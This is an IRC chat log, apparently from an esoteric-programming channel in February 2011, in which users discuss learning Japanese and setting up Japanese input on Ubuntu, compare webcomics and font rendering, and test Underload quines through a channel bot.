22:22:20 <pikhq_> With the funny squiggles having actual meaning to you, you need only care about the language, instead of getting hung up for years on funny squiggles.
22:22:39 <elliott> pikhq_: Still, I have this /slight/ delusion that being able to produce Japanese on a whim might help me learn better than just consuming, and writing kanji sounds like a bitch.
22:22:49 <elliott> (Also paper doesn't have you to correct my hee-LARIOUS mistakes.)
22:23:00 <elliott> So that's a bit of a bummer.
22:23:04 -!- func67AE has joined.
22:23:34 <pikhq_> elliott: Read AJATT, for Khatzumoto is one awesomely crazy man.
22:23:51 <zzo38> Read some Japanese manga book and learn about Washizu mahjong.
22:23:59 <pikhq_> elliott: He went from scratch to fluency in 1.5 years.
22:24:05 <elliott> pikhq_: I don't see the direct link between that and learning the romaji :-P
22:24:22 <pikhq_> elliott: You're only going to realistically be using romaji for typing.
22:24:35 <pikhq_> Unless you do formal classes!
22:24:35 <elliott> pikhq_: Precisely.
22:24:45 <elliott> pikhq_: Now let me think ... what would I want to use Japanese for...
22:24:47 -!- func67AE has quit (Read error: Connection reset by peer).
22:24:49 <elliott> pikhq_: AH YES: Reading and typing.
22:25:04 <zzo38> Also some IME allows customizing romaji input method, in addition to allowing you to switch to kana method as well.
22:25:12 <elliott> It's not like I'll be writing letters in Japanese.
22:25:28 <pikhq_> elliott: You'll probably end up writing a lot of kanji, anyways.
22:25:42 <elliott> pikhq_: But I dislike paper!
22:26:17 <zzo38> elliott: Then write it on the whiteboard.
22:26:21 <elliott> Looks like you don't add an IME by adding a keyboard layout in Ubuntu. GNOME intuitivity!
22:26:35 <elliott> Input methods. OKAY
22:26:52 <elliott> pikhq_: Err. Chinese Pinyin?
22:26:56 <elliott> Is that the input method I need? :P
22:27:11 <olsner> @yhjulwwiefzojcbxybbruweejw
22:27:12 <lambdabot> "\""
22:27:21 <zzo38> No. You need to make up your own input method.
22:28:11 <pikhq_> elliott: Depends, do you want to learn Pǔtōnghuà?
22:28:17 -!- cheater00 has quit (Ping timeout: 240 seconds).
22:28:17 -!- cheater- has joined.
22:28:22 <elliott> pikhq_: Unless this is a trick question, no.
22:28:27 <elliott> Perhaps I don't have the moonspeak IME.
22:28:35 <pikhq_> (that's Pinyin for "Mandarin")
22:28:49 <pikhq_> Erm, well, obviously, pinyin-transcribed Mandarin.
22:29:03 <elliott> pikhq_: So hey, what spaced-repetition-system thing is good for Linux.
22:29:14 <pikhq_> Anki.
22:29:32 -!- AndroUser has joined.
22:29:49 <AndroUser> hello
22:29:55 <zzo38> AndroUser: Yes?
22:29:57 <elliott> Hello.
22:30:40 <elliott> Meh, CBA getting an IME set up right now.
22:30:44 -!- AndroUser has changed nick to whtspc.
22:30:53 <olsner> it's from norway!
22:31:05 <elliott> Oh, welcome back whtspc.
22:31:12 <elliott> I was just thinking about Paintfuck yesterday actually.
22:31:23 <whtspc> ah ok
22:31:36 <elliott> pikhq_: Man, Anki looks like a pain to set up.
22:31:51 <whtspc> im actually doing nothing with programming nowadays
22:32:10 <elliott> whtspc: How boring. :)
22:32:14 <whtspc> just testing irc program on my phone
22:32:21 <whtspc> :)
22:33:02 <whtspc> tsusch!
22:33:04 -!- whtspc has quit (Client Quit).
22:33:15 <pikhq_> elliott: Uh? apt-get install?
22:33:24 <elliott> pikhq_: No, I meant the actual cards.
22:34:02 <elliott> Oh, there's this download thing where the first entry is Heisig's Remember the Kanji (RTK) 1+3.
22:34:04 <elliott> MODERN CONVENIENCE?
22:34:30 <elliott> pikhq_: Is it worth learning kana any time soon?
22:35:15 -!- Mathnerd314 has quit (Ping timeout: 264 seconds).
22:35:19 <pikhq_> elliott: Either do it right before RTK or right after.
22:35:38 <elliott> pikhq_: It sounds boring, so let's say right after.
22:36:03 <elliott> http://www.alljapaneseallthetime.com/blog/a-day-in-the-life-of-khatzumoto-no-for-real ;; man, this guy has some dedication.
22:36:04 <pikhq_> Just learning kana stops you from doing a lot of pronunciation fuckups.
22:36:12 <elliott> I dunno if I can spend that much time a day learning :P
22:36:19 -!- MigoMipo has quit (Remote host closed the connection).
22:36:20 <elliott> pikhq_: Mm... maybe I will then.
22:37:22 <pikhq_> Granted, mostly because it stops you from trying to apply English rules to it. :P
22:37:41 <elliott> >_>
22:39:26 <pikhq_> My soul dies every time someone says "Cone itchy wa."
22:39:27 <zzo38> Learn kana and kanji
22:39:56 * elliott installs Japanese support.
22:40:35 <elliott> PolicyKit suuuucks
22:42:01 -!- Mathnerd314 has joined.
22:42:07 <elliott> I GAVE YOU MY PASSWORD
22:42:09 <elliott> AUTHENTICATE
22:43:29 <elliott> pikhq_: is japanese sov or osv?
22:43:46 <pikhq_> SOV.
22:44:10 <pikhq_> With every part of the sentence optional.
22:44:29 <elliott> pikhq_: I bored am word orders conventional such by.
22:44:41 <elliott> ("I am bored by such conventional word orders.")
22:45:35 <pikhq_> Also, because of the whole grammatical particles thing, OSV is valid, if motherfucking weird sounding some 90% of the time.
22:45:46 <pikhq_> Erm.
22:45:57 <pikhq_> No, make that 99.99999999%.
22:46:18 <elliott> [[This same intricate labor-division-responsibility-dissipation system continues today, allowing Western societies to commit acts of violent cruelty both at home and abroad, and then shrug it off and act helpless.
22:46:19 <elliott> Consider the steak. One person kills an animal inhumanely, another cuts up her body parts, another packs them, another ships them, another stocks them, another buys them, another cooks them, another eats them.]]
22:46:19 <elliott> How much annoying veg/etarian/eganism is there in a typical AJATT post? :-P
22:46:35 <Zwaarddijk> isn't japanese predominantly topic-comment, rather than SOV
22:46:40 <pikhq_> elliott: Not much, and he loves steak.
22:46:47 <elliott> Zwaarddijk: OH SURE MISTER LINGUIST
22:46:54 <elliott> JUST COME AND SHIT ON OUR PARTY
22:47:10 <Zwaarddijk> shitting on parties is a favourite hobby of mine
22:47:13 <elliott> Great big party DUMP.
22:47:29 <Zwaarddijk> why else would I regularly sign up on christian forums, and point out minor things they're wrong about (instead of the big things)
22:47:55 <elliott> Self-righteousness?
22:48:39 -!- Gregor has quit (Ping timeout: 260 seconds).
22:49:14 <pikhq_> A case of dickitis?
22:49:19 <elliott> :-P
22:49:27 <elliott> pikhq_: Pfft, my valiant efforts to make my computer talk to me in a language I can't speak a single word of have been thwarted by Ubuntu's user-friendliness.
22:49:36 <elliott> Specifically despite installing all the support for it the Japanese option remains greyed-out.
22:49:55 <pikhq_> elliott: FURIȲÔ, KORIȲA.
22:50:09 <elliott> Furk yoo too.
22:50:58 <pikhq_> Oh, yeah, OVS order isn't too unusual. Kinda suggests a lot of emphasis on the action in question, though.
22:51:09 <Zwaarddijk> pikhq_: I have a pretty bad case of dickitis
22:51:17 <Zwaarddijk> pikhq_: OVS? in Japanese?
22:51:20 <pikhq_> I suppose it'd be pretty off in formal writing, though.
22:51:22 <Zwaarddijk> isn't it pretty strongly verb-last?
22:51:27 <elliott> ORANGES EAT SAM!!!!
22:51:43 <pikhq_> Zwaarddijk: Typically.
22:52:11 <elliott> all _real_ languages are polysynthetic and have totally free word order
22:52:26 <pikhq_> Say, 90% of the time? But sticking the topic at the end is valid and idiomatic, sometimes.
22:53:34 <elliott> pikhq_, why doesn't my computer want to talk to me in Japanese.
22:54:21 <pikhq_> elliott: His Imperial Majesty did nasty things to it.
22:54:29 <zzo38> In America, you kill yourself. In Soviet Russia, yourself kill YOU!!
22:54:47 <elliott> OH.
22:54:52 <elliott> It's just that I have to use its stupid dragging interface.
22:54:56 <elliott> Mere CLICKING is unacceptable.
22:55:27 <elliott> pikhq_: So, er, if you don't hear back from me when I disconnect, it's because I logged in again, couldn't figure anything out, and am reinstalling my OS.
22:57:44 -!- eurasienne has quit.
22:58:21 <zzo38> You didn't try using the command shell?
22:59:07 <elliott> zzo38: I'm kidding.
22:59:41 -!- elliott has quit (Remote host closed the connection).
23:00:55 -!- elliott has joined.
23:01:01 <elliott> pikhq_: Oh god everything is in Japanese what have I done
23:01:38 <elliott> pikhq_: Wait, wait, I bet I can fool myself into thinking this is a good idea.
23:01:49 <elliott> pikhq_: BY LEARNING HOW TO USE MY COMPUTER LIKE THIS I WILL BEGIN TO UNDERSTAND WHAT ALL THE WORDS MEAN -- HAHA
23:01:50 <elliott> Oh man
23:01:51 <elliott> That was a good one.
23:02:42 -!- augur has quit (Remote host closed the connection).
23:03:02 <elliott> I have a feeling that pikhq_ is going to start responding to everything I say in Japanese.
23:03:28 <pikhq_> 勿論。
23:03:34 <elliott> God damn
23:03:55 <pikhq_> ^_^
23:04:01 <elliott> pikhq_: I have no idea how to use my computer any more.
23:04:15 <elliott> Although I'm currently trying to disable the menu icons just to spite myself.
23:04:27 <elliott> "Feb24(KANJI) (Thu) PM11:35" what kind of fucked-up date-time format is that
23:04:49 <pikhq_> That is really fucked up.
23:05:15 <zzo38> elliott: Stupid, perhaps? They should use number and kanji for Japanese
23:05:40 <elliott> Oh, right. It's trying to format a UK date format... in Japanese.
23:06:27 <pikhq_> The proper date format would be 2月24日11:35.
23:07:13 -!- EgoBot has joined.
23:07:32 -!- HackEgo has joined.
23:08:08 <elliott> pikhq_: Quick, spin me some bullshit about how not knowing how to use my computer will help me learn Japanese.
23:08:28 <pikhq_> elliott: If you know not your computer, what else shall you do with your time?
23:08:49 <elliott> pikhq_: Use my computer in hilariously comical ways that emulate failure.
23:09:37 <elliott> https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/478980 "It's not a bug, it's a feature."
23:11:28 <elliott> pikhq_: {+~t}--,\"-- means Server, right? ({} is grouping, symbols represent what they look like, ~x represents x flipped)
23:11:29 <elliott> X-D
23:11:41 <elliott> (i.e. grouping N symbols to represent one letter.)
23:13:11 <tswett> elliott: the Finnish for "hello" is actually "päistääjyppiloidaruustanen".
23:13:19 <elliott> tswett: Seriously? :P
23:13:27 <tswett> So, 26, if I count correctly.
23:13:37 <tswett> The Finns here can attest.
23:13:44 <elliott> Deewiant fizzie.
23:13:49 <elliott> Ilari.
23:14:07 <zzo38> Your writing is not very clear it is difficult to read the words like {+~t}--,\"--
23:14:22 <elliott> zzo38: Well, -- is just a long dash.
23:14:28 <tswett> Actually, that's "hi". "Hello" is just "päistääjyppiloidaruusta".
23:14:35 <elliott> {+~t} means one symbol that looks like a + sign with a backwards t following it, where the tail goes underneath the +.
23:14:55 <elliott> ,\" means a forward swoop like a comma, then the same backwards, with two little ` ticks after it.
23:15:24 <tswett> elliott: gee, let me look those up for you.
23:15:28 <zzo38> OK, yes I think that does mean "server". At least it sounds like the English word "server", I think....
23:15:41 <elliott> Oh, it is just a transliteration?
23:15:51 <elliott> That would explain why it's so much easier to type out than the other ones.
23:16:09 <zzo38> Yes I think in that case it is.
23:16:15 <tswett> The first one is... um.
23:16:17 <elliott> = \pi on top, (P with - on top) and man holding up flat plate on bottom. What kanji is that?! pikhq_?!
23:16:44 <tswett> Okay, the word is サーバー.
23:17:02 <tswett> It's katakana, that's why it wasn't in the hiragana table.
23:17:12 <elliott> Yep.
23:17:19 <elliott> <elliott> = \pi on top, (P with - on top) and man holding up flat plate on bottom. What kanji is that?! pikhq_?!
23:17:21 <elliott> I'M WAITING
23:17:47 <tswett> elliott: can you not look these up somehow?
23:17:58 <elliott> tswett: Probably, but where is the fun in that?
23:18:18 <tswett> Of course.
23:19:09 -!- Gregor has joined.
23:19:16 <tswett> Gregor has come to save you.
23:19:31 -!- Gregor has changed nick to Guest83343.
23:19:54 <tswett> Shit, he's gone.
23:19:56 -!- Guest83343 has changed nick to Gregor.
23:20:00 <tswett> Oh, he's back!
23:20:33 -!- pikhq has joined.
23:20:53 <pikhq> サーバー is most definitely server.
23:21:01 -!- pikhq_ has quit (Ping timeout: 264 seconds).
23:21:23 <pikhq> sâhầ is how I'd romanise it.
23:21:34 <pikhq> Most people would go with "sābā".
23:22:00 <elliott> <elliott> <elliott> = \pi on top, (P with - on top) and man holding up flat plate on bottom. What kanji is that?! pikhq_?!
23:23:00 <pikhq> ... Wut?
23:23:17 <elliott> It's basically a 2x2 grid.
23:23:21 <elliott> Top-left looks like =.
23:23:26 <elliott> Top-right looks like the pi symbol.
23:23:36 <elliott> Bottom-left loops like a "P" rendered digitally i.e. no curves, with a - line on top of it.
23:23:45 <elliott> Bottom-right looks like a swishy "X" with a line above it.
23:23:49 <elliott> Connected, that is.
23:24:58 <pikhq> Uh, wuuut.
23:25:13 <zzo38> I can explain the reading of the word for "server": The first symbol is sound "sa", the second symbol after the long dash is sound "ba" (without two short dot would be "ha"), and the long dash is long vowel mark making the preceding vowel sound longer.
23:25:23 <elliott> <pikhq> Uh, wuuut.
23:25:27 <elliott> By grid I don't mean it has any separators.
23:25:33 <elliott> I'm just saying that it loks like four symbols in a grid to me.
23:26:02 <pikhq> Yeah, not helping.
23:26:03 <zzo38> Some kanji has two or three or four parts arranged horizontal of vertical.
23:26:11 <zzo38> s/of/or/
23:26:23 <elliott> pikhq: http://ompldr.org/vN2p1MQ
23:26:29 <zzo38> You can also look it up in WWWJDIC, can look up words and kanji.
23:27:16 -!- Sgeo has joined.
23:28:22 <elliott> pikhq: .
23:28:48 <pikhq> *Oh*.
23:29:12 <elliott> =, pi, P with line, X with line!
23:29:22 <elliott> NOT DIFFICULT YO
23:29:22 -!- pumpkin has changed nick to haskellnoob.
23:29:31 <pikhq>
23:29:36 <elliott> Yes. That.
23:29:41 <elliott> How is this not CLEAR to you.
23:29:43 <elliott> haskellnoob: haha noob
23:30:20 <pikhq> Yes, it is. I parse that as 言 + 几 + 又.
23:30:37 -!- elliott has quit (Read error: Connection reset by peer).
23:30:39 -!- haskellnoob has changed nick to copumpkin.
23:30:54 <Sgeo> peer really gets angry at calling others "noob"
23:30:56 <pikhq> And 言 is itself 口 + some lines.
23:31:28 -!- elliott has joined.
23:31:37 -!- HackEgo has quit (Ping timeout: 264 seconds).
23:31:49 <Gregor> Just like 'E' is 'F' + a line
23:31:57 <elliott> Gregor: Yep.
23:34:09 -!- augur has joined.
23:38:49 -!- EgoBot has quit (Ping timeout: 264 seconds).
23:40:20 -!- EgoBot has joined.
23:42:37 -!- Gregor has quit (Ping timeout: 264 seconds).
23:47:11 -!- EgoBot has quit (Ping timeout: 240 seconds).
23:50:57 -!- HackEgo has joined.
23:51:10 -!- Gregor has joined.
23:51:35 -!- Gregor has changed nick to Guest57906.
23:53:48 -!- Guest57906 has changed nick to Gregor.
23:56:01 <Gregor> Oy, prgmr is being made of fail tonight.
23:56:16 <elliott> Not as much fail as you, Guest57906.
23:57:04 -!- EgoBot has joined.
2011-02-25
00:00:02 -!- HackEgo has quit (Ping timeout: 246 seconds).
00:01:56 -!- Gregor has quit (Read error: Connection reset by peer).
00:03:43 -!- Gregor has joined.
00:04:04 -!- Gregor has changed nick to Guest78142.
00:05:37 -!- Guest78142 has changed nick to Gregor.
00:07:36 <elliott> pikhq: "protests spread to North Korea"
00:07:42 <elliott> Well well well.
00:07:47 <elliott> This should be interesting.
00:13:52 -!- cheater00 has joined.
00:16:38 -!- cheater- has quit (Ping timeout: 240 seconds).
00:18:34 -!- Mathnerd314 has quit (Ping timeout: 246 seconds).
00:34:47 <elliott> Hahahahaha: "But will the NK military pull a Libya, and refuse to fire on their own countrymen? Here's hoping."
00:37:56 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
00:40:13 -!- augur has quit (Ping timeout: 240 seconds).
00:43:03 -!- Mathnerd314 has joined.
00:44:12 -!- augur has joined.
00:45:16 <pikhq> elliott: Isn't the NK military essentially the able-bodied male population of NK?
00:45:22 <elliott> pikhq: Precisely.
00:48:55 -!- FireFly has quit (Quit: swatted to death).
00:49:22 -!- BeholdMyGlory has quit (Read error: Connection reset by peer).
01:07:48 -!- augur has quit (Ping timeout: 240 seconds).
01:09:56 -!- augur has joined.
01:16:33 -!- TLUL_ has joined.
01:16:42 -!- TLUL has quit (Disconnected by services).
01:16:44 -!- TLUL_ has changed nick to TLUL.
01:20:32 -!- copumpkin has joined.
01:21:37 -!- augur has quit (Remote host closed the connection).
01:27:08 -!- Gregor has quit (Ping timeout: 252 seconds).
01:27:36 <Sgeo> And I get into an argument with #clojure
01:33:47 -!- zzo38 has quit (Ping timeout: 246 seconds).
01:41:27 -!- augur has joined.
01:46:43 -!- EgoBot has quit (Ping timeout: 246 seconds).
01:57:20 -!- Gregor has joined.
01:57:33 -!- sebbu has quit (Ping timeout: 260 seconds).
01:57:36 -!- Gregor has changed nick to Guest89266.
02:01:55 -!- Guest89266 has changed nick to Guest24601.
02:02:04 <Guest24601> I think I'll just stick with this for a while.
02:07:07 -!- augur has quit (Ping timeout: 240 seconds).
02:27:04 <elliott> pikhq: BTW, looks like RTK volume II contains the readings.
02:27:14 <elliott> Oh: "The book is mainly focused on the Chinese readings, however one chapter does suggest a mnemonic device for learning the Japanese readings."
02:27:20 <pikhq> Yeah, but I dislike it.
02:36:55 <elliott> pikhq: Yeah, sounds crappy. :p
02:37:45 <elliott> pikhq: How's the "Remembering the Kana" book though? Seems like a bit of an overkill for kana.
02:42:57 -!- hagb4rd2 has quit (Ping timeout: 240 seconds).
02:56:27 -!- Guest24601 has changed nick to Gregor.
03:01:39 -!- pingveno has quit (Ping timeout: 250 seconds).
03:03:48 -!- pingveno has joined.
03:09:16 -!- yiyus has quit (Ping timeout: 260 seconds).
03:13:42 <pikhq> elliott: Overkill.
03:13:51 <pikhq> elliott: Shouldn't take you more than a couple days.
03:17:52 -!- augur has joined.
03:32:58 -!- Gregor has quit (Read error: No route to host).
03:33:01 -!- oerjan has joined.
03:35:43 -!- Gregor has joined.
03:36:03 -!- Gregor has changed nick to Guest58097.
03:36:30 -!- Guest58097 has changed nick to Gregor.
03:40:58 <elliott> can you believe i am still not up to date with homestuck dear god this is the longest comic ever
03:42:32 <oerjan> YOU MUST NOT KNOW MEZZACOTTA
03:43:17 -!- Mathnerd314 has quit (Disconnected by services).
03:43:28 <elliott> oerjan: maybe not, but this thing is longer than IWC :)
03:43:40 -!- Mathnerd314_ has joined.
03:43:45 <elliott> some 4000 panels. it's hard to map that directly to a traditional webcomic, really
03:43:47 <oerjan> well iwc is shorter than calvin and hobbes
03:43:51 <elliott> with the narration and pesterlogs and whatnot
03:44:02 <elliott> oerjan: nobody reads calvin in hobbes in a long chunk. ...do they?
03:44:07 <elliott> can't imagine archive binding c&h
03:44:12 <oerjan> (dmm has that as a (hopefully partial) goal
03:44:13 <oerjan> )
03:44:22 <elliott> eh?
03:44:26 <elliott> to stay shorter than C&H?
03:44:31 <oerjan> to reach than number of comics
03:44:39 <elliott> ah
03:44:42 -!- Mathnerd314_ has changed nick to Mathnerd314.
03:44:43 <elliott> what do you mean hopefully partial?
03:44:44 <elliott> oh, not to sto then
03:44:45 <elliott> *stop
03:44:47 <elliott> right
03:45:16 <elliott> oerjan: but does iwc have flash games instead of comics sometimes i think not.
03:45:18 <elliott> (plot-relevant ones, that is)
03:45:26 <elliott> (ok so they're kind of linear usually)
03:45:39 <elliott> oerjan: also do you know if DMM has any plans to up the size of IWC comics? they're kind of small on this screen
03:45:51 <elliott> the current ones are bigger than the first one, anyway, if only marginally
03:46:04 <elliott> also it looks like he hasn't changed his text renderer in 9 years
03:46:11 <oerjan> i recall casey and andy had 666 comics as a goal, and stopped there
03:46:15 -!- Mathnerd314 has quit (Read error: Connection reset by peer).
03:46:25 <elliott> 1/0 was for 1000
03:46:27 <oerjan> (there was a long hiatus before he managed to end it, though)
03:47:28 <oerjan> also things like garfield and dilbert are technically archived on the web
03:47:44 <elliott> garfield doesn't have a plotline.
03:47:46 <elliott> nor does dilbert :P
03:47:47 -!- Mathnerd314 has joined.
03:48:06 <oerjan> well actually calvin and hobbes too, i recall, it is larson who is against being on the web
03:48:07 <elliott> anyway 4000 anythings is a lot.
03:48:23 <oerjan> (larson = the far side)
03:48:23 <elliott> oerjan: yeah his open letter on that is a bit stuck-up
03:48:33 <oerjan> watterson is just against other merchandise
03:48:35 <elliott> YOU'RE KILLING MY BABY BY SHARING IT WITH PEOPLE!
03:48:43 <elliott> You think I drew a comic so that people could READ it?
03:50:12 <oerjan> <elliott> also it looks like he hasn't changed his text renderer in 9 years <-- i believe he uses a consistent text style for each single character
03:50:26 <elliott> oerjan: err, i think we have a word for that; "font"
03:50:30 <elliott> oh
03:50:30 <oerjan> well mostly color
03:50:32 <elliott> i see what you mean
03:50:42 <elliott> oerjan: i just meant the antialiasing is /identical/
03:50:50 <oerjan> O KAY
03:50:58 <elliott> which is quite interesting, that e.g. GIMP and its dependencies haven't changed its text-rendering algorithms in 9 years
03:51:00 * oerjan is a happy non-font-fanatic
03:51:14 <elliott> i wasn't making a great statement about it, just saying it's interesting from a software POV ;D
03:51:31 <elliott> considering that a 2002 linux desktop would not exactly have much font antialiasing, you'd have expected the algorithms to change at least slightly
03:53:47 <pikhq> elliott: Uh, 2002 we had Freetype still.
03:53:54 <elliott> pikhq: Exactly.
03:54:01 <oerjan> draak has a different font though, and the deaths of course often speak in CAPITALS
03:54:03 <elliott> pikhq: Freetype's greyscale rendering algorithm is identical to what it was in 2002.
03:54:10 <elliott> That's surprising.
03:54:16 <pikhq> elliott: ... That is quite surprising.
03:54:33 <elliott> hmm IWC's hinting looks like either slight or medium
03:54:38 <elliott> hard to tell at that small a size
03:54:43 <elliott> pikhq: compare:
03:54:45 <pikhq> So, Freetype has only improved hinting and subpixel antialiasing?
03:54:47 <elliott> http://irregularwebcomic.net/comics/irreg2951.jpg
03:54:48 <elliott> http://irregularwebcomic.net/comics/irreg0001.jpg
03:56:05 -!- azaq23 has quit (Ping timeout: 264 seconds).
03:59:16 <pikhq> Man. Delay line memory in Minecraft is entirely practical.
03:59:23 <pikhq> (for certain notions of "practical")
04:22:21 -!- Sgeo has quit (Read error: Connection reset by peer).
04:26:28 -!- elliott has quit (Quit: Leaving).
04:31:55 -!- Sgeo has joined.
04:37:23 -!- oerjan has quit (Quit: leaving).
04:56:01 -!- yiyus has joined.
05:26:26 <Ilari> Hmm... Esolang that is turing-complete but completely impractical to implement.
05:28:38 <pikhq> Something in terms of matrix operations?
05:28:56 <pikhq> Mmmm, O(n!) time...
05:29:26 <Zwaarddijk> run it in a quantum computer emulator
05:29:49 -!- yiyus has quit (Ping timeout: 240 seconds).
05:29:56 <Ilari> And preferably something more creative than operations being ECDL and modulo.
05:31:57 -!- poiuy_qwert has joined.
05:32:05 -!- poiuy_qwert has quit (Changing host).
05:32:05 -!- poiuy_qwert has joined.
05:37:46 -!- asiekierka has joined.
05:45:06 -!- pikhq_ has joined.
05:45:11 -!- pikhq has quit (Ping timeout: 240 seconds).
05:55:31 -!- oerjan has joined.
05:55:47 -!- TLUL has quit (Ping timeout: 246 seconds).
06:04:25 -!- pingveno has quit (Read error: Connection reset by peer).
06:04:47 -!- pingveno has joined.
06:04:59 -!- pingveno has quit (Read error: Connection reset by peer).
06:09:44 -!- pingveno has joined.
06:25:48 -!- yiyus has joined.
06:26:25 -!- augur has quit (Remote host closed the connection).
06:38:29 -!- asiekierka has quit (Ping timeout: 276 seconds).
06:38:32 -!- pingveno has quit (Read error: Connection reset by peer).
06:38:51 -!- pingveno has joined.
06:38:54 -!- pingveno has quit (Read error: Connection reset by peer).
06:43:55 -!- pingveno has joined.
06:46:48 -!- pingveno has quit (Read error: Connection reset by peer).
06:48:55 -!- pingveno has joined.
06:51:47 -!- augur has joined.
06:55:14 -!- pingveno has quit (Read error: Connection reset by peer).
06:55:32 -!- pingveno has joined.
06:56:00 -!- pingveno has quit (Read error: Connection reset by peer).
07:00:32 -!- pingveno has joined.
07:00:47 -!- pingveno has quit (Read error: Connection reset by peer).
07:05:33 -!- pingveno has joined.
07:09:10 -!- pingveno has quit (Read error: Connection reset by peer).
07:10:35 -!- pingveno has joined.
07:46:15 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
07:48:34 -!- poiuy_qwert has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:06:30 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
08:08:07 -!- poiuy_qwert has joined.
08:26:30 -!- poiuy_qwert has quit (Read error: Connection reset by peer).
08:28:08 -!- poiuy_qwert has joined.
08:28:40 -!- Mathnerd314 has quit (Ping timeout: 246 seconds).
08:29:56 <oerjan> ^ul ((!P)(!)^^)()(^~)~^a(()~)~(~^^)**:()~^~()~()~^~^(~aS:^)
08:30:06 <oerjan> ^ul (hi)S
08:30:07 <fungot> hi
08:30:14 <oerjan> argh
08:31:38 <oerjan> ^ul ((!P)(!)^^)()((X))~^a(()~)~(~^^)**:()~^(~aS:^)
08:32:09 <oerjan> gah
08:32:30 <oerjan> ^ul ((!P)~(!)~^^)()(^~)~^a(()~)~(~^^)**:()~^~()~()~^~^(~aS:^)
08:33:07 <oerjan> ^ul ()((!P)~(!)~^^)(~aS:^)
08:33:19 <oerjan> ...sheesh
08:33:33 <oerjan> ^ul ((!P)~(!)~^^)()(^~)~^a(()~)~(~^^)**:()~^~()~()~^~^(~aS:^):^
08:33:33 <fungot> ((!P)~(!)~^^) ...out of stack!
08:33:43 <oerjan> ^ul ((!P)~(!)~^^)(~)(^~)~^a(()~)~(~^^)**:()~^~()~()~^~^(~aS:^):^
08:33:44 <fungot> (()~((!P)~(!)~^^)~^^) ...out of stack!
08:35:36 <fizzie> Someone mentioned a palindromic ul quine, so I made one too, but mine's really uneleganz:
08:35:37 <fizzie> ^ul (()S:aS(:^:)Sa:S()):^:(()S:aS(:^:)Sa:S())
08:35:37 <fungot> (()S:aS(:^:)Sa:S()):^:(()S:aS(:^:)Sa:S())
08:35:50 <oerjan> ...it's right there on the wiki
08:35:53 <fizzie> Oh.
08:35:58 -!- poiuy_qwert has quit (Ping timeout: 240 seconds).
08:36:23 <fizzie> Well, it's not exactly that much more pretty.
08:36:33 <oerjan> a bit shorter though
08:36:38 <fizzie> I was hoping for something where the latter half did something sensible too.
08:36:43 <oerjan> or is it
08:36:53 <oerjan> ^ul (:aS(:^S^:)Sa:):^S^:(:aS(:^S^:)Sa:)
08:36:53 <fungot> (:aS(:^S^:)Sa:):^S^:(:aS(:^S^:)Sa:)
08:37:38 <fizzie> Six letters less.
08:38:17 <fizzie> Quite similar, except the S in the middle doing what I have ()S ... S() inside the parens for.
08:41:57 <oerjan> well it has to end in a quote, which cannot do much
08:42:21 <fizzie> Yes, but it's a quote that's almost half the program, just boringly repeated.
09:19:19 <oerjan> ^ul ((!P)~(!)~^^)((!Q)~(!)~^^)()()~(^()(^)(^))~(^~a(:)~((^())~(^(~))~^^()~^^)**~*)~^^^(~aS:^):^
09:19:19 <fungot> ((!Q)~(!)~^^)((!P)~(!)~^^) ...out of stack!
09:19:31 <oerjan> ^ul ((!P)~(!)~^^)((!Q)~(!)~^^)(~)()~(^()(^)(^))~(^~a(:)~((^())~(^(~))~^^()~^^)**~*)~^^^(~aS:^):^
09:19:31 <fungot> (:((!P)~(!)~^^)(^())~(^(~))~^^()~^^(!Q)~(!)~^^) ...out of stack!
09:25:42 <oerjan> ^ul :(()~(()~(^)~(:)~(:)~(^)~()~^S^(^)~^^^)~^^)~(^())~(^(~))~^^()~^^:((^~)~^a(()~)~(~^^)**:()~^~()~()~^~^)~(^())~(^(~))~^^()~^^:(()~(:)~^(^)~^^)~(^())~(^(~))~^^()~^^:(()~(^()(^)(^))~(^~a(:)~((^())~(^(~))~^^()~^^)**~*)~^^^)~(^())~(^(~))~^^()~^^:^^
09:25:42 <fungot> ...out of stack!
09:25:46 <oerjan> um
09:25:51 <oerjan> ^ul (~):(()~(()~(^)~(:)~(:)~(^)~()~^S^(^)~^^^)~^^)~(^())~(^(~))~^^()~^^:((^~)~^a(()~)~(~^^)**:()~^~()~()~^~^)~(^())~(^(~))~^^()~^^:(()~(:)~^(^)~^^)~(^())~(^(~))~^^()~^^:(()~(^()(^)(^))~(^~a(:)~((^())~(^(~))~^^()~^^)**~*)~^^^)~(^())~(^(~))~^^()~^^:^^
09:26:08 <oerjan> ...sigh
09:26:30 <oerjan> oh
09:27:59 <oerjan> ^ul (~):(()~(()~(^)~(:)~(:)~(^)~()~^S^(^)~^^^)~^^)~(^())~(^(~))~^^()~^^:(()~(S)~^^)~(^())~(^(~))~^^()~^^:((^~)~^a(()~)~(~^^)**:()~^~()~()~^~^)~(^())~(^(~))~^^()~^^:(()~(^()(^)(^))~(^~a(:)~((^())~(^(~))~^^()~^^)**~*)~^^^)~(^())~(^(~))~^^()~^^:(:^^)~(^())~(^(~))~^^()~^^:^^
09:27:59 <fungot> ~ ...out of stack!
09:28:20 <oerjan> ^ul ((^)S)((~)S)a*^^
09:28:20 <fungot> ^~
09:29:10 <oerjan> ^ul (~):(()~(()~(^)~(:)~(:)~(^)~()~^S^(^)~^^^)~^^)~(^())~(^(~))~^^()~^^:(()~(S)~^^)~(^())~(^(~))~^^()~^^:(()~(^()(^)(^))~(^~a(:)~((^())~(^(~))~^^()~^^)**~*)~^^^)~(^())~(^(~))~^^()~^^:^^
09:29:10 <fungot> ~ ...out of stack!
09:29:47 <oerjan> ^ul (~):(()~(()~(^)~(:)~(:)~(^)~()~^S^(^)~^^^)~^^)~(^())~(^(~))~^^()~^^:(()~(S)~^^)~(^())~(^(~))~^^()~^^:(:^^)~(^())~(^(~))~^^()~^^:^^
09:29:47 <fungot> ~^
09:30:34 <oerjan> ^ul (~):(()~(()~(^)~(:)~(:)~(^)~()~^S^(^)~^^^)~^^)~(^())~(^(~))~^^()~^^:(()~(S)~^^)~(^())~(^(~))~^^()~^^()~(^()(^)(^))~(^~a(:)~((^())~(^(~))~^^()~^^)**~*)~^^^
09:30:57 <oerjan> ^ul (~):(()~(()~(^)~(:)~(:)~(^)~()~^S^(^)~^^^)~^^)~(^())~(^(~))~^^()~^^:(()~(S)~^^)~(^())~(^(~))~^^()~^^()~(^()(^)(^))~(^~a(:)~((^())~(^(~))~^^()~^^)**~*)~^^^(~a(#)*S:^):^
